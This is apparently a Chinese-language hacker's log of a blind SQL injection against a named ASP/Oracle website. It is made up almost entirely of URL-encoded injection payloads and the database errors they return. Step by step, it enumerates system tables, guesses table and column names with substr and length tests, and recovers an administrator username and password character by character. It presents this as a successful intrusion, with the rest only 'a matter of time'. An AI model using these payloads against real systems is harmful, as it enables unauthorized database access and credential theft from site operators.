ASP+ORACLE注入手记

http://et.kpworld.com/star.asp?performer=马三立;
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OraOLEDB 错误
'80040e14' ORA-00911:
invalid character
/star.asp，行83
说明过滤了分号。
[url]http://et.kpworld.com/star.asp?performer=[/url]马三立'
----------------------------------------------------
OraOLEDB 错误
'80004005' ORA-01756:
括号内的字符串没有正确结束
/star.asp，行83
看来存在未过滤单引号问题。
[url]http://et.kpworld.com/star.asp?performer=[/url]马三立' and '1'='1
----------------------------------------------------------------
闭和他单引号，正常返回。
and 0(select count(*) from admin) and '1'='1
-----------------------------------------------------------------
OraOLEDB 错误 '80040e37' ORA-00942:
table or view does not exist
/star.asp，行83
说明不存在ADMIN这个表.
******************************************************************
下面需要知道ORACLE的系统表：
确定表中行的总数：
select num_rows from user_tables where table_name='表名
----------------------存放当前用户所有表
where table_name='表名
'selectcolumn_name,
from user_tab_columns -----------------------存放所有列
where table_name='表名'
and 0(select count(*) from all_tables) and '1'='1
---------------------------------------------------------------------
存在！
all_tables是一个系统表,用来存放当前ID和其他用户的所有表
and 0(select count(*) from user_tables) and '1'='1
---------------------------------------------------------------------
返回。有这个系统表，这个表存放当前用户的所有表
and 0(select top 1 table_name from user_tables) and '1'='1
---------------------------------------------------------------------------------
OraOLEDB 错误 '80040e14' ORA-00923:
FROM keyword not found where expected
/star.asp，行83
不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。
(经过PINKEYES测试已经确定确实不支持TOP 1)
and 0(select count(*) from user_tables where table_nam'')
and '1'='1
--------------------------------------------------------------------------------------------
OraOLEDB 错误 '80040e14' ORA-00904:
invalid column name /star.asp，行83
当语法错误时,会显示无效列名字
and 0(select count(*) from user_tables where
table_name'''') and '1'='1
--------------------------------------------------------------------------------------------
语法正确时，成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试：
and 0(select count(*) from user_tables where
sum(table_name)>1) and '1'='1
------------------------------------------------------------------------------------------------
OraOLEDB 错误 '80040e14' ORA-00934:
group function is not allowed here
/star.asp，行83
组函数不允许在这里。
and 0(select count(*) from user_tables where avg(table_name)) and
'1'='1
-------------------------------------------------------------------------------------------
OraOLEDB 错误 '80040e14' ORA-00934:
group function is not allowed here
/star.asp，行83
组函数不允许在这里。
and 0(select to_char(table_name) from user_tables) and%20'1'='1
--------------------------------------------------------------------------
OraOLEDB 错误 '80004005' ORA-01427:
single-row subquery returns more
than one row
/star.asp，行83
单行的子查询返回多于一行
and 0(select count(*) from user_tables where table_name+1)
and%20'1'='1
--------------------------------------------------------------------------
OraOLEDB 错误 '80040e14' ORA-00920:
invalid relational operator
/star.asp，行83
测试到这里，下面看看怎么弄出他的表来：
and 0(select count(*) from performer) and%20'1'='1
-----------------------------------------------------
成功返回。这里的表是看前面URL猜的.
and 0(select count(*) from user_tables where
table_name='performer') and%20'1'='1
-------------------------------------------------------------------------------------
没返回。失败标志。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name='PERFORMER')
and%20'1'='1
------------------------------------------------------------------------------------------------
成功了！ 看来这个user_tables表只认识大写字母！
and 0(select count(*) from user_tables where
length(table_name)>10) and%20'1'='1
------------------------------------------------------------------------------------
用length函数确定最长表的位数
and 0(select count(*) from user_tables where
length(table_name)=18) and%20'1'='1
-------------------------------------------------------------------------------------
省略若干步骤，最后确定最长表为18位。
and 0(select count(*) from user_tables where
substr(table_name,1,1)='A') and%20'1'='1
-----------------------------------------------------------------------------------------
第一位为'A'，
and 0(select count(*) from user_tables where
substr(table_name,1,2)='AD') and%20'1'='1
-----------------------------------------------------------------------------------------
第二位为'AD'
and 0(select count(*) from user_tables where
substr(table_name,1,18)='ADMINAUTHORIZATION') and%20'1'='1
---------------------------------------------------------------------------------------------
省略若干，18位的表名为'ADMINAUTHORIZATION'。
and 1=(select count(*) from user_tables where
table_name='ADMINAUTHORIZATION') and%20'1'='1
--------------------------------------------------------------------------------------------
返回。
and 0(select count(*) from user_tables where
length(table_name)=2) and%20'1'='1
----------------------------------------------------------------------------------
最小表名长度为2
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25user%25')%20and%20%20'1'='1
-------------------------------------------------------------------------------------------------
没返回。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25ADMIN%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25PER%25')
and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25BBS%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
都成功返回。看来可以利用like猜。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like'%25BBS%25'%20and%20length(table_name)>8)
and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like'%25BBS%25'%20and%20length(table_name)>10)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like'%25BBS%25'%20and%20length(table_name)=10)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
利用like和LENGTH组合猜，马上就能确定长度。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)='BBSS')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
猜出第四位是S。接下来就是重复劳动了。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)='BBSSUBJECT')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
猜出来了。'BBSSUBJECT'
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='BBSSUBJECT'%20and%20column_name%20like%20'%25USER%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='BBSSUBJECT'%20and%20column_name%20like%20'%25USER%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
没返回，不象是保存用户和密码的表。再来。。。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25USER%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25USER%25'%20and%20length(table_name)>10)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25USER%25'%20and%20length(table_name)>15)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20'%25USER%25'%20and%20length(table_name)=15)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
确定长度为15。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)='U'%20and%20length(table_name)=15)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,2,1)='S'%20and%20length(table_name)=15)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,-4,4)='USER'%20and%20length(table_name)=15)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)='UNSUBSCRIBEUSER')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name='UNSUBSCRIBEUSER')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
确定表名'UNSUBSCRIBEUSER'，接下来猜是否有密码字段。。。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='UNSUBSCRIBEUSER'%20and%20column_name%20like%20'%25USER%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='UNSUBSCRIBEUSER'%20and%20column_name%20like%20'%25PASS%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
like PASS，没返回，郁闷，继续。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASS%25'%20and%20length(table_name)=13)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
返回。不准确。
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-2,2)='SS')
and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,6,2)='SS')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)='PASS')
and%20'1'='1
-------------------------------------------------------------------------------------------------
这里用SUBSTR缩小范围.
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)='PASS'%20and%20length(column_name)=11)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
含有PASS字段的字段长度11位。根据上面的从4位开始数4位是PASS 那么PASS前是3位，后是4位，一共是11位。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,8)='PASSWORD')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
猜一下，果然是。。。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-11,11)='STRPASSWORD')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20length(table_name)=13)
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20length(table_name)=13)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
全返回，确定密码字段名字'STRPASSWORD'。把密码字段抓到就好办了，再利用他抓表名：
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20length(table_name)=13)
and '1'='1
-------------------------------------------------------------------------------------------------
返回，和上面猜出的表名长度符合。用SUBSTR猜出他名字：
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20substr(table_name,1,13)='ADMINISTRATOR')
and '1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name='STRPASSWORD'%20and%20table_name='ADMINISTRATOR')
and '1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name='ADMINISTRATOR')
and '1'='1
-------------------------------------------------------------------------------------------------
全返回，确定表名为：'ADMINISTRATOR'.
and%208=(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR')
and '1'='1
-------------------------------------------------------------------------------------------------
猜出表里有8个字段。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20column_name%20like%20'%25ID%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%203=(select%20count(*)%20from%20ADMINISTRATOR) and '1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,4,2)='ID')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,-2,2)='ID')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
可以判断是ID结尾了，长度为5。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,-5,5)='LNGID')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20column_name='LNGID')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
出来了，LNGID。
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(LNGID)=2)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%208=(select%20min(LNGID)%20from%20ADMINISTRATOR)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%2021=(select%20max(LNGID)%20from%20ADMINISTRATOR)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
最小ID，最大ID也出来，接下来弄密码：
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(STRPASSWORD)=4%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
LNGID为8的密码长度为4
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,1,1))=116%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
第一位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,2,1))=101%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
第二位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,3,1))=115%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
第三位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,4,1))=116%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
第四位
STRPASSWORD：test
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD='test'%20and%20LNGID=8)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
OH,YEAH~~密码出来了。
接着搞用户名：
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20column_name%20like%20'%25NAME%25')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,4,4)='NAME')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,-4,4)='NAME')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20substr(column_name,1,7)='STRNAME')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
出来了，字段：STRNAME
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name='ADMINISTRATOR'%20and%20column_name%20not%20in('STRNAME','STRPASSWORD','LNGID'))%20and%20'1'='1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD='test'%20and%20LNGID=8%20and%20length(STRNAME)=4)%20and%20'1'='1
-------------------------------------------------------------------------------------------------
STRNAME值长度为4，不会是和密码相同吧。。。
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD='test'%20and%20LNGID=8%20and%20STRNAME='test')%20and%20'1'='1
-------------------------------------------------------------------------------------------------
呵呵，果然。
表名ADMINISTRATOR，列名：STRNAME,STRPASSWORD,LNGID
LNGID=8 STRNAME=test STRPASSWORD=test
测试完成！剩下的只是时间问题了。